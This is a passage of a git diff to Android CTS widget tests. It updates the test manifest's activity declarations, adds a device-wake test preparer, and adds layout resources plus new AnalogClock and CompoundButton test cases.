         <activity android:name="android.widget.cts.CompoundButtonCtsActivity"
-                  android:label="CompoundButtonCtsActivity">
+             android:label="CompoundButtonCtsActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
             </intent-filter>
         </activity>
 
         <activity android:name="android.widget.cts.RadioButtonCtsActivity"
-                  android:label="RadioButtonCtsActivity">
+             android:label="RadioButtonCtsActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
             </intent-filter>
         </activity>
 
         <activity android:name="android.widget.cts.ToggleButtonCtsActivity"
-                  android:label="ToggleButtonCtsActivity">
+             android:label="ToggleButtonCtsActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
             </intent-filter>
         </activity>
 
         <activity android:name="android.widget.cts.TimePickerCtsActivity"
-                  android:label="TimePickerCtsActivity">
+             android:label="TimePickerCtsActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
             </intent-filter>
         </activity>
 
         <activity android:name="android.widget.cts.BackwardNavigationCtsActivity"
-            android:label="BackwardNavigationCtsActivity">
+             android:label="BackwardNavigationCtsActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
             </intent-filter>
         </activity>
 
         <activity android:name="android.widget.cts.RadioGroupCtsActivity"
-                  android:label="RadioGroupCtsActivity">
+             android:label="RadioGroupCtsActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
             </intent-filter>
         </activity>
 
         <activity android:name="android.app.Activity"
-                  android:label="Activity"
-                  android:theme="@style/WidgetAttributeTestTheme">
+             android:label="Activity"
+             android:theme="@style/WidgetAttributeTestTheme"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
             </intent-filter>
         </activity>
 
         <activity android:name="android.app.ActivityGroup"
-            android:label="ActivityGroup" />
+             android:label="ActivityGroup"/>
 
         <activity android:name="android.widget.cts.MockURLSpanTestActivity"
-            android:label="MockURLSpanTestActivity"
-            android:launchMode="singleTask"
-            android:alwaysRetainTaskState="true"
-            android:configChanges="orientation|keyboardHidden">
+             android:label="MockURLSpanTestActivity"
+             android:launchMode="singleTask"
+             android:alwaysRetainTaskState="true"
+             android:configChanges="orientation|keyboardHidden"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.VIEW" />
-                <category android:name="android.intent.category.DEFAULT" />
-                <category android:name="android.intent.category.BROWSABLE" />
-                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
-                <data android:scheme="ctstest" />
+                <action android:name="android.intent.action.VIEW"/>
+                <category android:name="android.intent.category.DEFAULT"/>
+                <category android:name="android.intent.category.BROWSABLE"/>
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
+                <data android:scheme="ctstest"/>
             </intent-filter>
         </activity>
 
-        <activity android:name="android.widget.cts.PointerIconCtsActivity">
+        <activity android:name="android.widget.cts.PointerIconCtsActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
         </activity>
 
         <activity android:name="android.widget.cts.MagnifierCtsActivity"
-                  android:label="MagnifierCtsActivity">
+             android:label="MagnifierCtsActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
             </intent-filter>
         </activity>
 
         <activity android:name="android.widget.cts.inline.InlineContentViewCtsActivity"
-                  android:label="InlineContentViewCtsActivity">
+             android:label="InlineContentViewCtsActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
             </intent-filter>
         </activity>
 
     </application>
 
     <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
-                     android:targetPackage="android.widget.cts"
-                     android:label="CTS tests of android.widget">
+         android:targetPackage="android.widget.cts"
+         android:label="CTS tests of android.widget">
         <meta-data android:name="listener"
-            android:value="com.android.cts.runner.CtsTestRunListener" />
+             android:value="com.android.cts.runner.CtsTestRunListener"/>
     </instrumentation>
 
 </manifest>
-
diff --git a/tests/tests/widget/AndroidTest.xml b/tests/tests/widget/AndroidTest.xml
index b9311c6..9ff7300 100644
--- a/tests/tests/widget/AndroidTest.xml
+++ b/tests/tests/widget/AndroidTest.xml
@@ -34,4 +34,8 @@
         <option name="hidden-api-checks" value="false" />
         <option name="instrumentation-arg" key="thisisignored" value="thisisignored --no-window-animation" />
     </test>
+    <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
+        <option name="run-command" value="input keyevent KEYCODE_WAKEUP" />
+        <option name="run-command" value="wm dismiss-keyguard" />
+    </target_preparer>
 </configuration>
diff --git a/tests/tests/widget/app/Android.bp b/tests/tests/widget/app/Android.bp
index 461fd11..0ecbb72 100644
--- a/tests/tests/widget/app/Android.bp
+++ b/tests/tests/widget/app/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test {
     name: "CtsWidgetApp",
     defaults: ["cts_support_defaults"],
diff --git a/tests/tests/widget/res/color/testcolorstatelist1.xml b/tests/tests/widget/res/color/testcolorstatelist1.xml
new file mode 100644
index 0000000..d5fbf57
--- /dev/null
+++ b/tests/tests/widget/res/color/testcolorstatelist1.xml
@@ -0,0 +1,20 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2021 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<selector xmlns:android="http://schemas.android.com/apk/res/android">
+    <item android:color="#ff000000"/>
+</selector>
\ No newline at end of file
diff --git a/tests/tests/widget/res/layout/analogclock.xml b/tests/tests/widget/res/layout/analogclock.xml
deleted file mode 100644
index 7d862c3..0000000
--- a/tests/tests/widget/res/layout/analogclock.xml
+++ /dev/null
@@ -1,21 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!-- Copyright (C) 2008 The Android Open Source Project
-
-     Licensed under the Apache License, Version 2.0 (the "License");
-     you may not use this file except in compliance with the License.
-     You may obtain a copy of the License at
-
-         http://www.apache.org/licenses/LICENSE-2.0
-
-     Unless required by applicable law or agreed to in writing, software
-     distributed under the License is distributed on an "AS IS" BASIS,
-     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-     See the License for the specific language governing permissions and
-     limitations under the License.
--->
-
-<AnalogClock android:id="@+id/clock"
-    xmlns:android="http://schemas.android.com/apk/res/android"
-    android:layout_width="96dip"
-    android:layout_gravity="center_horizontal"
-    android:layout_height="wrap_content"/>
diff --git a/tests/tests/widget/res/layout/analogclock_layout.xml b/tests/tests/widget/res/layout/analogclock_layout.xml
new file mode 100644
index 0000000..2f2c5a7
--- /dev/null
+++ b/tests/tests/widget/res/layout/analogclock_layout.xml
@@ -0,0 +1,36 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2021 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+<LinearLayout
+    xmlns:android="http://schemas.android.com/apk/res/android"
+    android:layout_width="match_parent"
+    android:layout_height="match_parent"
+    android:orientation="vertical">
+    <AnalogClock
+        android:id="@+id/clock"
+        android:layout_width="60dp"
+        android:layout_height="60dp"/>
+    <AnalogClock
+        android:id="@+id/clock_with_attrs"
+        android:layout_width="60dp"
+        android:layout_height="60dp"
+        android:dial="@drawable/blue_fill"
+        android:hand_hour="@drawable/green_fill"
+        android:hand_minute="@drawable/magenta_fill"
+        android:hand_second="@drawable/yellow_fill"
+        android:timeZone="America/New_York"/>
+</LinearLayout>
+
diff --git a/tests/tests/widget/res/layout/edittext_singleline_maxlength.xml b/tests/tests/widget/res/layout/edittext_singleline_maxlength.xml
new file mode 100644
index 0000000..548d42d
--- /dev/null
+++ b/tests/tests/widget/res/layout/edittext_singleline_maxlength.xml
@@ -0,0 +1,53 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+         http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
+    android:layout_width="match_parent"
+    android:layout_height="wrap_content">
+
+  <TextView
+      android:id="@+id/textview_explicit_singleline_max_length"
+      android:layout_width="match_parent"
+      android:layout_height="wrap_content"
+      android:text="@string/even_more_long_text"
+      android:singleLine="true" />
+  <EditText
+      android:id="@+id/edittext_explicit_singleline_max_length"
+      android:layout_width="match_parent"
+      android:layout_height="wrap_content"
+      android:text="@string/even_more_long_text"
+      android:singleLine="true" />
+  <EditText
+      android:id="@+id/edittext_explicit_singleline_with_explicit_max_length"
+      android:layout_width="match_parent"
+      android:layout_height="wrap_content"
+      android:text="@string/even_more_long_text"
+      android:maxLength="2000"
+      android:singleLine="true" />
+  <EditText
+      android:id="@+id/edittext_multiLine"
+      android:layout_width="match_parent"
+      android:layout_height="wrap_content"
+      android:inputType="textMultiLine"
+      android:text="@string/even_more_long_text" />
+  <EditText
+      android:id="@+id/edittext_singleLine"
+      android:layout_width="match_parent"
+      android:layout_height="wrap_content"
+      android:inputType="text"
+      android:text="@string/even_more_long_text" />
+
+</LinearLayout>
diff --git a/tests/tests/widget/res/layout/horizontal_scrollview.xml b/tests/tests/widget/res/layout/horizontal_scrollview.xml
index e14fe54..2acd77f 100644
--- a/tests/tests/widget/res/layout/horizontal_scrollview.xml
+++ b/tests/tests/widget/res/layout/horizontal_scrollview.xml
@@ -120,4 +120,41 @@
         android:id="@+id/horizontal_scroll_view_custom_empty"
         android:layout_width="100px"
         android:layout_height="100px" />
+
+    <HorizontalScrollView
+        android:id="@+id/horizontal_scroll_view_stretch"
+        android:layout_width="90px"
+        android:layout_height="90px"
+        android:edgeEffectType="stretch"
+        android:background="#FFF">
+        <LinearLayout
+            android:layout_width="match_parent"
+            android:layout_height="wrap_content"
+            android:orientation="horizontal">
+            <View
+                android:background="#00F"
+                android:layout_width="50px"
+                android:layout_height="90px"/>
+            <View
+                android:background="#0FF"
+                android:layout_width="50px"
+                android:layout_height="90px"/>
+            <View
+                android:background="#0F0"
+                android:layout_width="50px"
+                android:layout_height="90px"/>
+            <View
+                android:background="#FF0"
+                android:layout_width="50px"
+                android:layout_height="90px"/>
+            <View
+                android:background="#F00"
+                android:layout_width="50px"
+                android:layout_height="90px"/>
+            <View
+                android:background="#F0F"
+                android:layout_width="50px"
+                android:layout_height="90px"/>
+        </LinearLayout>
+    </HorizontalScrollView>
 </LinearLayout>
diff --git a/tests/tests/widget/res/layout/imageview_layout.xml b/tests/tests/widget/res/layout/imageview_layout.xml
index 5de0769..00dfc79 100644
--- a/tests/tests/widget/res/layout/imageview_layout.xml
+++ b/tests/tests/widget/res/layout/imageview_layout.xml
@@ -49,5 +49,26 @@
         android:layout_width="wrap_content"
         android:layout_height="wrap_content" />
 
+    <ImageView
+        android:id="@+id/imageview_important_auto"
+        android:layout_width="wrap_content"
+        android:layout_height="wrap_content"
+        android:importantForAutofill="auto"
+        android:importantForContentCapture="auto" />
+
+    <ImageView
+        android:id="@+id/imageview_important_no"
+        android:layout_width="wrap_content"
+        android:layout_height="wrap_content"
+        android:importantForAutofill="no"
+        android:importantForContentCapture="no" />
+
+    <ImageView
+        android:id="@+id/imageview_important_yes"
+        android:layout_width="wrap_content"
+        android:layout_height="wrap_content"
+        android:importantForAutofill="yes"
+        android:importantForContentCapture="yes" />
+
 </LinearLayout>
 
diff --git a/tests/tests/widget/res/layout/remoteviews_good.xml b/tests/tests/widget/res/layout/remoteviews_good.xml
index e322d0a..1878890 100644
--- a/tests/tests/widget/res/layout/remoteviews_good.xml
+++ b/tests/tests/widget/res/layout/remoteviews_good.xml
@@ -89,4 +89,31 @@
         android:layout_width="wrap_content"
         android:layout_height="wrap_content" />
 
+    <CheckBox
+        android:id="@+id/remoteView_checkBox"
+        android:layout_width="wrap_content"
+        android:layout_height="wrap_content" />
+
+    <Switch
+        android:id="@+id/remoteView_switch"
+        android:layout_width="wrap_content"
+        android:layout_height="wrap_content" />
+
+    <RadioGroup
+        android:id="@+id/remoteView_radioGroup"
+        android:layout_width="wrap_content"
+        android:layout_height="wrap_content">
+
+        <RadioButton
+            android:id="@+id/remoteView_radioButton1"
+            android:layout_width="wrap_content"
+            android:layout_height="wrap_content" />
+
+        <RadioButton
+            android:id="@+id/remoteView_radioButton2"
+            android:layout_width="wrap_content"
+            android:layout_height="wrap_content" />
+
+    </RadioGroup>
+
 </LinearLayout>
\ No newline at end of file
diff --git a/tests/tests/widget/res/layout/remoteviews_small.xml b/tests/tests/widget/res/layout/remoteviews_small.xml
new file mode 100644
index 0000000..a1cc5d7
--- /dev/null
+++ b/tests/tests/widget/res/layout/remoteviews_small.xml
@@ -0,0 +1,27 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2021 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
+    android:id="@+id/remoteViews_small"
+    android:orientation="vertical"
+    android:layout_width="match_parent"
+    android:layout_height="match_parent">
+
+    <TextView android:id="@+id/remoteView_text"
+        android:layout_width="wrap_content"
+        android:layout_height="wrap_content" />
+</LinearLayout>
\ No newline at end of file
diff --git a/tests/tests/widget/res/layout/scrollview_layout.xml b/tests/tests/widget/res/layout/scrollview_layout.xml
index 57547ed..47cf600 100644
--- a/tests/tests/widget/res/layout/scrollview_layout.xml
+++ b/tests/tests/widget/res/layout/scrollview_layout.xml
@@ -121,5 +121,42 @@
         android:id="@+id/scroll_view_custom_empty"
         android:layout_width="100dip"
         android:layout_height="100dip" />
+
+    <ScrollView
+        android:id="@+id/scroll_view_stretch"
+        android:layout_width="90px"
+        android:layout_height="90px"
+        android:edgeEffectType="stretch"
+        android:background="#FFF">
+        <LinearLayout
+            android:layout_width="match_parent"
+            android:layout_height="wrap_content"
+            android:orientation="vertical">
+            <View
+                android:background="#00F"
+                android:layout_width="90px"
+                android:layout_height="50px"/>
+            <View
+                android:background="#0FF"
+                android:layout_width="90px"
+                android:layout_height="50px"/>
+            <View
+                android:background="#0F0"
+                android:layout_width="90px"
+                android:layout_height="50px"/>
+            <View
+                android:background="#FF0"
+                android:layout_width="90px"
+                android:layout_height="50px"/>
+            <View
+                android:background="#F00"
+                android:layout_width="90px"
+                android:layout_height="50px"/>
+            <View
+                android:background="#F0F"
+                android:layout_width="90px"
+                android:layout_height="50px"/>
+        </LinearLayout>
+    </ScrollView>
 </LinearLayout>
 
diff --git a/tests/tests/widget/res/values/strings.xml b/tests/tests/widget/res/values/strings.xml
index 9e36cc0..91084e9 100644
--- a/tests/tests/widget/res/values/strings.xml
+++ b/tests/tests/widget/res/values/strings.xml
@@ -176,6 +176,7 @@
 with no fading. I have made this string longer to fix this case. If you are correcting this
 text, I would love to see the kind of devices you guys now use! Guys, maybe some devices need longer string!
 I think so, so how about double this string, like copy and paste! </string>
+    <string name="even_more_long_text">This is even more long string which exceeds the character limit of the single line edit text. Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum. Curabitur pretium tincidunt lacus. Nulla gravida orci a odio. Nullam varius, turpis et commodo pharetra, est eros bibendum elit, nec luctus magna felis sollicitudin mauris. Integer in mauris eu nibh euismod gravida. Duis ac tellus et risus vulputate vehicula. Donec lobortis risus a elit. Etiam tempor. Ut ullamcorper, ligula eu tempor congue, eros est euismod turpis, id tincidunt sapien risus a quam. Maecenas fermentum consequat mi. Donec fermentum. Pellentesque malesuada nulla a mi. Duis sapien sem, aliquet nec, commodo eget, consequat quis, neque. Aliquam faucibus, elit ut dictum aliquet, felis nisl adipiscing sapien, sed malesuada diam lacus eget erat. Cras mollis scelerisque nunc. Nullam arcu. Aliquam consequat. Curabitur augue lorem, dapibus quis, laoreet et, pretium ac, nisi. Aenean magna nisl, mollis quis, molestie eu, feugiat in, orci. In hac habitasse platea dictumst. Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum. Curabitur pretium tincidunt lacus. Nulla gravida orci a odio. Nullam varius, turpis et commodo pharetra, est eros bibendum elit, nec luctus magna felis sollicitudin mauris. Integer in mauris eu nibh euismod gravida. Duis ac tellus et risus vulputate vehicula. Donec lobortis risus a elit. Etiam tempor. Ut ullamcorper, ligula eu tempor congue, eros est euismod turpis, id tincidunt sapien risus a quam. Maecenas fermentum consequat mi. Donec fermentum. Pellentesque malesuada nulla a mi. Duis sapien sem, aliquet nec, commodo eget, consequat quis, neque. Aliquam faucibus, elit ut dictum aliquet, felis nisl adipiscing sapien, sed malesuada diam lacus eget erat. Cras mollis scelerisque nunc. Nullam arcu. Aliquam consequat. Curabitur augue lorem, dapibus quis, laoreet et, pretium ac, nisi. Aenean magna nisl, mollis quis, molestie eu, feugiat in, orci. In hac habitasse platea dictumst. Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum. Curabitur pretium tincidunt lacus. Nulla gravida orci a odio. Nullam varius, turpis et commodo pharetra, est eros bibendum elit, nec luctus magna felis sollicitudin mauris. Integer in mauris eu nibh euismod gravida. Duis ac tellus et risus vulputate vehicula. Donec lobortis risus a elit. Etiam tempor. Ut ullamcorper, ligula eu tempor congue, eros est euismod turpis, id tincidunt sapien risus a quam. Maecenas fermentum consequat mi. Donec fermentum. Pellentesque malesuada nulla a mi. Duis sapien sem, aliquet nec, commodo eget, consequat quis, neque. Aliquam faucibus, elit ut dictum aliquet, felis nisl adipiscing sapien, sed malesuada diam lacus eget erat. Cras mollis scelerisque nunc. Nullam arcu. Aliquam consequat. Curabitur augue lorem, dapibus quis, laoreet et, pretium ac, nisi. Aenean magna nisl, mollis quis, molestie eu, feugiat in, orci. In hac habitasse platea dictumst. Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum. Curabitur pretium tincidunt lacus. Nulla gravida orci a odio. Nullam varius, turpis et commodo pharetra, est eros bibendum elit, nec luctus magna felis sollicitudin mauris. Integer in mauris eu nibh euismod gravida. Duis ac tellus et risus vulputate vehicula. Donec lobortis risus a elit. Etiam tempor. Ut ullamcorper, ligula eu tempor congue, eros est euismod turpis, id tincidunt sapien risus a quam. Maecenas fermentum consequat mi. Donec fermentum. Pellentesque malesuada nulla a mi. Duis sapien sem, aliquet nec, commodo eget, consequat quis, neque. Aliquam faucibus, elit ut dictum aliquet, felis nisl adipiscing sapien, sed malesuada diam lacus eget erat. Cras mollis scelerisque nunc. Nullam arcu. Aliquam consequat. Curabitur augue lorem, dapibus quis, laoreet et, pretium ac, nisi. Aenean magna nisl, mollis quis, molestie eu, feugiat in, orci. In hac habitasse platea dictumst.</string>
     <string name="rectangle200">"M 0,0 l 200,0 l 0, 200 l -200, 0 z"</string>
 
     <string name="popup_show">Show popup</string>
diff --git a/tests/tests/widget/src/android/widget/cts/AnalogClockTest.java b/tests/tests/widget/src/android/widget/cts/AnalogClockTest.java
index a5a4a50..b58ab3d 100644
--- a/tests/tests/widget/src/android/widget/cts/AnalogClockTest.java
+++ b/tests/tests/widget/src/android/widget/cts/AnalogClockTest.java
@@ -16,9 +16,14 @@
 
 package android.widget.cts;
 
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNull;
+
 import android.app.Activity;
+import android.graphics.drawable.Icon;
 import android.util.AttributeSet;
 import android.util.Xml;
+import android.view.View;
 import android.widget.AnalogClock;
 
 import androidx.test.filters.SmallTest;
@@ -34,8 +39,13 @@
 @SmallTest
 @RunWith(AndroidJUnit4.class)
 public class AnalogClockTest {
+    private static final String TIME_ZONE_NEW_YORK = "America/New_York";
+    private static final String TIME_ZONE_LOS_ANGELES = "America/Los_Angeles";
+
     private AttributeSet mAttrSet;
     private Activity mActivity;
+    private AnalogClock mClock;
+    private AnalogClock mClockWithAttrs;
 
     @Rule
     public ActivityTestRule<FrameLayoutCtsActivity> mActivityRule =
@@ -44,8 +54,12 @@
     @Before
     public void setup() throws Exception {
         mActivity = mActivityRule.getActivity();
-        XmlPullParser parser = mActivity.getResources().getXml(R.layout.analogclock);
+        XmlPullParser parser = mActivity.getResources().getXml(R.layout.analogclock_layout);
         mAttrSet = Xml.asAttributeSet(parser);
+
+        View layout = mActivity.getLayoutInflater().inflate(R.layout.analogclock_layout, null);
+        mClock = layout.findViewById(R.id.clock);
+        mClockWithAttrs = layout.findViewById(R.id.clock_with_attrs);
     }
 
     @Test
@@ -55,18 +69,88 @@
         new AnalogClock(mActivity, mAttrSet, 0);
     }
 
-    @Test(expected=NullPointerException.class)
+    @Test(expected = NullPointerException.class)
     public void testConstructorWithNullContext1() {
         new AnalogClock(null);
     }
 
-    @Test(expected=NullPointerException.class)
+    @Test(expected = NullPointerException.class)
     public void testConstructorWithNullContext2() {
         new AnalogClock(null, null);
     }
 
-    @Test(expected=NullPointerException.class)
+    @Test(expected = NullPointerException.class)
     public void testConstructorWithNullContext3() {
         new AnalogClock(null, null, -1);
     }
+
+    @Test
+    public void testSetDial() {
+        Icon icon = Icon.createWithResource(mActivity, R.drawable.magenta_fill);
+        mClock.setDial(icon);
+        mClockWithAttrs.setDial(icon);
+    }
+
+    @Test(expected = NullPointerException.class)
+    public void testSetDialWithNull() {
+        mClock.setDial(null);
+    }
+
+    @Test
+    public void testSetHourHand() {
+        Icon icon = Icon.createWithResource(mActivity, R.drawable.magenta_fill);
+        mClock.setHourHand(icon);
+        mClockWithAttrs.setHourHand(icon);
+    }
+
+    @Test(expected = NullPointerException.class)
+    public void testSetHourHandWithNull() {
+        mClock.setHourHand(null);
+    }
+
+    @Test
+    public void testSetMinuteHand() {
+        Icon icon = Icon.createWithResource(mActivity, R.drawable.magenta_fill);
+        mClock.setMinuteHand(icon);
+        mClockWithAttrs.setMinuteHand(icon);
+    }
+
+    @Test(expected = NullPointerException.class)
+    public void testSetMinuteHandWithNull() {
+        mClock.setMinuteHand(null);
+    }
+
+    @Test
+    public void testSetSecondHand() {
+        Icon icon = Icon.createWithResource(mActivity, R.drawable.magenta_fill);
+        mClock.setSecondHand(icon);
+        mClockWithAttrs.setSecondHand(icon);
+    }
+
+    @Test
+    public void testSetSecondHandWithNull() {
+        mClock.setSecondHand(null);
+        mClockWithAttrs.setSecondHand(null);
+    }
+
+    @Test
+    public void testTimeZone() {
+        assertNull(mClock.getTimeZone());
+        assertEquals(TIME_ZONE_NEW_YORK, mClockWithAttrs.getTimeZone());
+
+        mClock.setTimeZone(TIME_ZONE_NEW_YORK);
+        assertEquals(TIME_ZONE_NEW_YORK, mClock.getTimeZone());
+
+        mClock.setTimeZone(TIME_ZONE_LOS_ANGELES);
+        assertEquals(TIME_ZONE_LOS_ANGELES, mClock.getTimeZone());
+
+        mClock.setTimeZone("Some/Invalid_time_zone");
+        assertNull(mClock.getTimeZone());
+
+        mClock.setTimeZone(TIME_ZONE_NEW_YORK);
+        assertEquals(TIME_ZONE_NEW_YORK, mClock.getTimeZone());
+
+        mClock.setTimeZone(null);
+        assertNull(mClock.getTimeZone());
+    }
 }
diff --git a/tests/tests/widget/src/android/widget/cts/CompoundButtonTest.java b/tests/tests/widget/src/android/widget/cts/CompoundButtonTest.java
index 2bcc05f..b4393df 100644
--- a/tests/tests/widget/src/android/widget/cts/CompoundButtonTest.java
+++ b/tests/tests/widget/src/android/widget/cts/CompoundButtonTest.java
@@ -42,6 +42,8 @@
 import android.graphics.Rect;
 import android.graphics.drawable.ColorDrawable;
 import android.graphics.drawable.Drawable;
+import android.graphics.drawable.GradientDrawable;
+import android.graphics.drawable.Icon;
 import android.os.Parcelable;
 import android.util.AttributeSet;
 import android.util.StateSet;
@@ -253,6 +255,39 @@
         mCompoundButton.setButtonDrawable(R.drawable.pass);
     }
 
+    @UiThreadTest
+    @Test
+    public void testSetButtonDrawableByIdAsync() {
+        // resId is 0
+        mCompoundButton.setButtonDrawableAsync(0).run();
+
+        // set drawable
+        mCompoundButton.setButtonDrawableAsync(R.drawable.scenery).run();
+
+        // set the same drawable again
+        mCompoundButton.setButtonDrawableAsync(R.drawable.scenery).run();
+
+        // update drawable
+        mCompoundButton.setButtonDrawableAsync(R.drawable.pass).run();
+    }
+
+    @UiThreadTest
+    @Test
+    public void testSetButtonIcon() {
+        mCompoundButton.setButtonIcon(null);
+        assertNull(mCompoundButton.getButtonDrawable());
+
+        mCompoundButton.setButtonIcon(Icon.createWithResource(mActivity, R.drawable.blue_fill));
+        GradientDrawable firstButton = (GradientDrawable) mCompoundButton.getButtonDrawable();
+        assertEquals(GradientDrawable.RECTANGLE, firstButton.getShape());
+        assertEquals(ColorStateList.valueOf(Color.BLUE), firstButton.getColor());
+
+        mCompoundButton.setButtonIcon(Icon.createWithResource(mActivity, R.drawable.red_fill));
